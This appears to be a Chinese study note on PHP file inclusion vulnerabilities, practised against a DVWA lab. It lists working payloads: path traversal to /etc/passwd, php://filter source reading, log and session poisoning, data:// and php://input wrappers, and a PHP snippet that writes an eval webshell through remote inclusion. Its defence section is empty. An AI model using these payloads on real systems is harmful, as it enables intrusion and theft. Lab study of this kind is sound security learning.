1. 文件包含:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,例如 include “conn.php”。php常见的文件包含函数:
include "conn.php": 当包含文件出现错误时,发出错误信息,继续执行
include_once "conn.php":只包含一次
require "conn.php": 当包含出现错误时,发出错误信息,不再执行
require_once "conn.php":只包含一次
2. 漏洞出现的原因:
为了控制代码的灵活,程序要把要使用的函数写到一个文件中,其他需要其中的的函数执行,只需要通过该文件名包含进来,而且没有进行验证。
3.文件包含漏洞的分类
1)本地的文件包含漏洞:
a. 上传图片马,本地包含图片马getshell,使用下面包含路径包含图片马,菜刀连接下门面路径(做了没成功)
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=…/…/hackable/uploads/mm.jpg
b. 本地包含读取网站源码,使用php为协议包含读取网站源码,获得base64加密源码
http://192.168.15.144/DVWA-1.9/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php
c. 包含日志文件, getshell
现在日志文件中写入带有小马的日志文件,具体做法是使用burp抓取对网站的访问请求,在访问路径就面加上小马,日志文件会记录到用户的请求信息,成功写入小马,后面只需菜刀连接即可:
d.包含session文件getshell
e. 获取服务器信息:././././././././././././ect/passwd
2)远程文件包含漏洞
远程文件包含与本地类似,只不过包含的是远程文件,需要注意:
a. php.ini中的配置选项allow_url_fopen和allow_url_include 的值为on
b. 包含的远程文件不能以php结尾,php结尾会直接被解析
c. 包含远程文件一个技巧,可以在远程文件中写入一个创建小马的程序,当成功包含后,会在本地创建一个小马文件,使用菜刀连接,即可getshell:
<?php
fputs(fopen('xx.php','w'),'<?php @eval($_REQUEST["crazy"])?>');
?>
4. 伪协议的利用
1)读取网站源码
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
2)接收post文件,需要执行的内容放到post中 仅需要开启allow_url_include
index.php?php://input
3)?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_open 和 allow_url_include
5. 防御方法:
6. 思维导图